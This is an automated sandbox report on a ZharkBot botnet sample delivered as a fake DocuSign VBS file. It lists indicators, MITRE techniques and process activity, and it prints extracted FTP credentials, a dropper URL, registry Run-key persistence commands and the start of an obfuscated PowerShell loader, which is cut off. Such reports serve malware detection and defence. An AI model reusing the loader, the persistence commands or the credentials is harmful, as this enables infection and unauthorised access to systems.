zharkbot | b28413ca3c1fa5b50a96d5e9afc5e365efd8ac6be834e82b25c5bf323284f774

Analysis

max time kernel
300s
max time network
259s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 11:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DocuSign01210021100.vbs
Size

117KB
MD5

09b37aa6f30c0b1d83529d21212f416c
SHA1

c1d1d0159bc1a8bb36c4a078ea653531707d27c0
SHA256

b28413ca3c1fa5b50a96d5e9afc5e365efd8ac6be834e82b25c5bf323284f774
SHA512

b87bd64f420b21ac3f68f1aa069c0569a3e685f29f55b86527a020a8ee91e0f4b3c0f1b368ed4d63240608dc59dff8b8cff191a2812833f36b9f298ae803de7b
SSDEEP

1536:pwwwwwwwwQ+xgv0zmbqGwwwwwwwwwwwwwwwwwr:iu

Score

10^/10

zharkbot botnet defense_evasion discovery execution persistence

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
fYudY1578@@@@@@

Signatures

Detects ZharkBot payload 3 IoCs

ZharkBot is a botnet written C++.

resource	yara_rule
behavioral2/memory/4280-140-0x0000000000400000-0x0000000000455000-memory.dmp	zharkcore
behavioral2/memory/4280-144-0x0000000000400000-0x0000000000455000-memory.dmp	zharkcore
behavioral2/memory/4280-143-0x0000000000400000-0x0000000000455000-memory.dmp	zharkcore

ZharkBot
ZharkBot is a botnet written C++.
botnet zharkbot
Zharkbot family
zharkbot

Blocklisted process makes network request 9 IoCs

flow	pid	Process
8	2156	powershell.exe
18	2156	powershell.exe
20	2156	powershell.exe
22	1204	powershell.exe
23	1204	powershell.exe
24	1204	powershell.exe
28	1204	powershell.exe
32	1204	powershell.exe
35	1920	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 31 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4640	powershell.exe
2368	powershell.exe
5108	powershell.exe
2844	powershell.exe
2464	powershell.exe
2600	powershell.exe
4636	powershell.exe
2156	powershell.exe
1040	powershell.exe
4088	powershell.exe
2084	powershell.exe
968	powershell.exe
4952	powershell.exe
3456	powershell.exe
368	powershell.exe
4980	powershell.exe
3816	powershell.exe
1920	powershell.exe
1872	powershell.exe
3628	powershell.exe
1064	powershell.exe
1248	powershell.exe
2980	powershell.exe
1204	powershell.exe
2288	powershell.exe
3956	powershell.exe
4568	powershell.exe
3684	powershell.exe
4640	powershell.exe
3548	powershell.exe
2848	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 20 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_vqc = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sxk = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Daft Sytem\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\Program Rules NVIDEO\\rrimt.ps1' \";exit"	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
5044	cmd.exe
3772	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
34	pastebin.com
35	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1920 set thread context of 4280	1920	powershell.exe	116

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2968	4280	WerFault.exe	116

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4636	powershell.exe
4636	powershell.exe
2156	powershell.exe
2156	powershell.exe
2156	powershell.exe
1204	powershell.exe
1204	powershell.exe
2368	powershell.exe
4640	powershell.exe
4640	powershell.exe
2368	powershell.exe
1204	powershell.exe
2600	powershell.exe
2600	powershell.exe
5108	powershell.exe
5108	powershell.exe
2844	powershell.exe
2844	powershell.exe
2844	powershell.exe
2464	powershell.exe
2464	powershell.exe
2464	powershell.exe
1920	powershell.exe
1920	powershell.exe
368	powershell.exe
368	powershell.exe
4980	powershell.exe
4980	powershell.exe
4980	powershell.exe
1872	powershell.exe
1872	powershell.exe
1040	powershell.exe
1040	powershell.exe
2848	powershell.exe
2848	powershell.exe
2288	powershell.exe
2288	powershell.exe
3816	powershell.exe
3816	powershell.exe
3956	powershell.exe
3956	powershell.exe
4568	powershell.exe
4568	powershell.exe
4088	powershell.exe
4088	powershell.exe
3628	powershell.exe
3628	powershell.exe
2084	powershell.exe
2084	powershell.exe
3684	powershell.exe
3684	powershell.exe
968	powershell.exe
968	powershell.exe
4640	powershell.exe
4640	powershell.exe
1064	powershell.exe
1064	powershell.exe
1248	powershell.exe
1248	powershell.exe
4952	powershell.exe
4952	powershell.exe
3456	powershell.exe
3456	powershell.exe
3548	powershell.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	4636	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	368	powershell.exe
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	3816	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	3628	powershell.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	2980	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4316 wrote to memory of 4636	4316	WScript.exe	85
PID 4316 wrote to memory of 4636	4316	WScript.exe	85
PID 4636 wrote to memory of 2156	4636	powershell.exe	87
PID 4636 wrote to memory of 2156	4636	powershell.exe	87
PID 2156 wrote to memory of 1204	2156	powershell.exe	95
PID 2156 wrote to memory of 1204	2156	powershell.exe	95
PID 1204 wrote to memory of 2368	1204	powershell.exe	96
PID 1204 wrote to memory of 2368	1204	powershell.exe	96
PID 1204 wrote to memory of 4640	1204	powershell.exe	97
PID 1204 wrote to memory of 4640	1204	powershell.exe	97
PID 1204 wrote to memory of 4648	1204	powershell.exe	98
PID 1204 wrote to memory of 4648	1204	powershell.exe	98
PID 1204 wrote to memory of 5044	1204	powershell.exe	101
PID 1204 wrote to memory of 5044	1204	powershell.exe	101
PID 5044 wrote to memory of 2600	5044	cmd.exe	102
PID 5044 wrote to memory of 2600	5044	cmd.exe	102
PID 1204 wrote to memory of 3772	1204	powershell.exe	103
PID 1204 wrote to memory of 3772	1204	powershell.exe	103
PID 3772 wrote to memory of 5108	3772	cmd.exe	104
PID 3772 wrote to memory of 5108	3772	cmd.exe	104
PID 2600 wrote to memory of 2844	2600	powershell.exe	106
PID 2600 wrote to memory of 2844	2600	powershell.exe	106
PID 5108 wrote to memory of 2464	5108	powershell.exe	107
PID 5108 wrote to memory of 2464	5108	powershell.exe	107
PID 1204 wrote to memory of 1920	1204	powershell.exe	112
PID 1204 wrote to memory of 1920	1204	powershell.exe	112
PID 1204 wrote to memory of 3048	1204	powershell.exe	113
PID 1204 wrote to memory of 3048	1204	powershell.exe	113
PID 1920 wrote to memory of 368	1920	powershell.exe	114
PID 1920 wrote to memory of 368	1920	powershell.exe	114
PID 1920 wrote to memory of 4280	1920	powershell.exe	116
PID 1920 wrote to memory of 4280	1920	powershell.exe	116
PID 1920 wrote to memory of 4280	1920	powershell.exe	116
PID 1920 wrote to memory of 4280	1920	powershell.exe	116
PID 1920 wrote to memory of 4280	1920	powershell.exe	116
PID 1920 wrote to memory of 4280	1920	powershell.exe	116
PID 1920 wrote to memory of 4280	1920	powershell.exe	116
PID 1920 wrote to memory of 4280	1920	powershell.exe	116
PID 1920 wrote to memory of 4280	1920	powershell.exe	116
PID 368 wrote to memory of 4980	368	powershell.exe	121
PID 368 wrote to memory of 4980	368	powershell.exe	121
PID 4980 wrote to memory of 1872	4980	powershell.exe	122
PID 4980 wrote to memory of 1872	4980	powershell.exe	122
PID 4980 wrote to memory of 1040	4980	powershell.exe	126
PID 4980 wrote to memory of 1040	4980	powershell.exe	126
PID 4980 wrote to memory of 2848	4980	powershell.exe	127
PID 4980 wrote to memory of 2848	4980	powershell.exe	127
PID 4980 wrote to memory of 2288	4980	powershell.exe	129
PID 4980 wrote to memory of 2288	4980	powershell.exe	129
PID 4980 wrote to memory of 3816	4980	powershell.exe	130
PID 4980 wrote to memory of 3816	4980	powershell.exe	130
PID 4980 wrote to memory of 3956	4980	powershell.exe	131
PID 4980 wrote to memory of 3956	4980	powershell.exe	131
PID 4980 wrote to memory of 4568	4980	powershell.exe	132
PID 4980 wrote to memory of 4568	4980	powershell.exe	132
PID 4980 wrote to memory of 4088	4980	powershell.exe	133
PID 4980 wrote to memory of 4088	4980	powershell.exe	133
PID 4980 wrote to memory of 3628	4980	powershell.exe	134
PID 4980 wrote to memory of 3628	4980	powershell.exe	134
PID 4980 wrote to memory of 2084	4980	powershell.exe	135
PID 4980 wrote to memory of 2084	4980	powershell.exe	135
PID 4980 wrote to memory of 3684	4980	powershell.exe	136
PID 4980 wrote to memory of 3684	4980	powershell.exe	136
PID 4980 wrote to memory of 968	4980	powershell.exe	137

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DocuSign01210021100.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $mwxpv = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGcAUg' + [char]66 + 'EAE8ATQAkADsAIAApACcAMQ' + [char]66 + 'zAHAALgAzADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAA7ACcAOwApACAAKQAgACAAJwAnAG0Acw' + [char]66 + '' + [char]66 + 'AGcAZQ' + [char]66 + 'SAEQARAAgAEQAJwAnACAAIAAsACAATQ' + [char]66 + 'vAHcATg' + [char]66 + 'zACQAIAAsACAAJwAnAGgAdA' + [char]66 + '0AHAAcwA6AC8ALw' + [char]66 + 'jAG8Abg' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAbg' + [char]66 + 'jAGEAbg' + [char]66 + 'jAHUAbgAuAGMAbw' + [char]66 + 'tAC8AYgAuAHQAeA' + [char]66 + '0ACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAZw' + [char]66 + 'SAEQATw' + [char]66 + 'NACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAZw' + [char]66 + 'SAEQATw' + [char]66 + 'NACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAOg' + [char]66 + 'dAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAnACAAPQArACAAZw' + [char]66 + 'SAEQATw' + [char]66 + 'NACQAOwAgACcAOwAgACkAIAApACcAJw' + [char]66 + '' + [char]66 + 'ACcAJwAsACcAJwCTIToAkyEnACcAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'yAC4ARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'zAFsAIAA9ACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAJwAgAD0AKwAgAGcAUg' + [char]66 + 'EAE8ATQAkADsAIAAnADsAKQA4AEYAVA' + [char]66 + 'VACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIAAnACAAKwAgAGwARw' + [char]66 + 'mAFQAUwAkACAAKwAgACcAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAKAAgAD0AIA' + [char]66 + 'HAGUAYQ' + [char]66 + '5AHIAJAAgADsAIAAnACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACcAIAA9ACAATQ' + [char]66 + 'vAHcATg' + [char]66 + 'zACQAJwAgACAAPQAgAGcAUg' + [char]66 + 'EAE8ATQAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgAGwARw' + [char]66 + 'mAFQAUwAkACAAaA' + [char]66 + '0AGEAUA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAC0AIA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAC0AdA' + [char]66 + '1AE8AIA' + [char]66 + '8ACAAeg' + [char]66 + 'IAGwAVA' + [char]66 + '1ACQAOwAgACkAIA' + [char]66 + '' + [char]66 + 'AFUAeg' + [char]66 + 'IAEQAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAIAA9ACAAeg' + [char]66 + 'IAGwAVA' + [char]66 + '1ACQAOwAgACkAIA' + [char]66 + 'RAEcAcA' + [char]66 + 'lAEkAJAAgAGgAdA' + [char]66 + 'hAFAALQAgAHQAbg' + [char]66 + 'lAHQAbg' + [char]66 + 'vAEMALQ' + [char]66 + '0AGUARwAgACgAIAA9ACAAIA' + [char]66 + '' + [char]66 + 'AFUAeg' + [char]66 + 'IAEQAJAA7ACAAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'OAGwAcg' + [char]66 + 'oAFAAJAA7ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAgAD0AIA' + [char]66 + 'OAGwAcg' + [char]66 + 'oAFAAJAA7ACAAKQAnAHQAeA' + [char]66 + '0AC4AMgAwAGwAbA' + [char]66 + 'kACcAIAArACAAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgACgAIAA9ACAAbA' + [char]66 + 'HAGYAVA' + [char]66 + 'TACQAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAJwA4AEYAVA' + [char]66 + 'VACcAIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALQAgAFEARw' + [char]66 + 'wAGUASQAkACAAaA' + [char]66 + '0AGEAUA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAC0AIA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAC0AdA' + [char]66 + '1AE8AIA' + 